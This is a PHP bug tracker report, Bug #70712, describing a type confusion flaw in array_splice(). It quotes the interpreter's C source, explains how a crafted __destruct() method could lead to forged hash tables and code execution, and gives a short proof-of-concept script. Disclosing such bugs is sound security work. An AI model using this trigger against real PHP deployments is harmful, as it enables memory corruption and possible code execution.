php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #70712 Type Confusion Vulnerability in array_splice()
Submitted: 2015-10-14 14:11 UTC Modified: 2020-06-10 11:01 UTC
From: taoguangchen at icloud dot com Assigned:
Status: Verified Package: *General Issues
PHP Version: Irrelevant OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-10-14 14:11 UTC] taoguangchen at icloud dot com
Description:
------------
Type Confusion Vulnerability in array_splice()

array.c
```
PHPAPI void php_splice(HashTable *ht, zend_uint offset, zend_uint length, zval ***list, zend_uint list_count, HashTable *removed TSRMLS_DC) /* {{{ */
{
	zend_hash_splice(ht, sizeof(zval *), (copy_ctor_func_t) zval_add_ref, offset, length, (void **) list, list_count, removed);
...

PHP_FUNCTION(array_splice)
{
	...

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "al|lZ", &array, &offset, &length, &repl_array) == FAILURE) {
		return;
	}

	...
	
	if (repl_array) {
		/* Make sure the last argument, if passed, is an array */
		convert_to_array_ex(repl_array);

	...
	
	/* Perform splice */
	php_splice(Z_ARRVAL_P(array), offset, length, repl, repl_num, rem_hash TSRMLS_CC);
```

zend_hash.c
```
ZEND_API void _zend_hash_splice(HashTable *ht, uint nDataSize, copy_ctor_func_t pCopyConstructor, uint offset, uint length, void **list, uint list_count, HashTable *removed ZEND_FILE_LINE_DC) /* {{{ */
{
	...
	
	for (pos = 0, p = ht->pListHead; pos < offset && p; pos++, p = p->pListNext);
	
	while (pos < offset + length && p) {
	
	...
		/* Remove element */
		{
			Bucket *p_next = p->pListNext;	
			zend_hash_bucket_delete(ht, p);
			p = p_next;
		}
```

a object-type ZVAL can be destroyed via the convert_to_array_ex(), so an attacker can set a object-type &repl_array, then call to the object's crafted __destruct() magic method is able to change &array into other-type ZVAL. this means an attacker will be able to create fake HashTable and fake Bucket via the Z_ARRVAL_P macro with a integer-type ZVAL. this should result in arbitrary code execution.

PoC:
```
class obj
{
	function __destruct()
	{
		$GLOBALS['arr'] = 1;
	}
}

$arr = array(1);
array_splice($arr, 0, 1, new obj);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-10-14 16:38 UTC] stas@php.net
-Type: Security +Type: Bug
 [2020-06-10 11:01 UTC] nikic@php.net
-Status: Open +Status: Verified
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Tue Jul 01 15:01:38 2025 UTC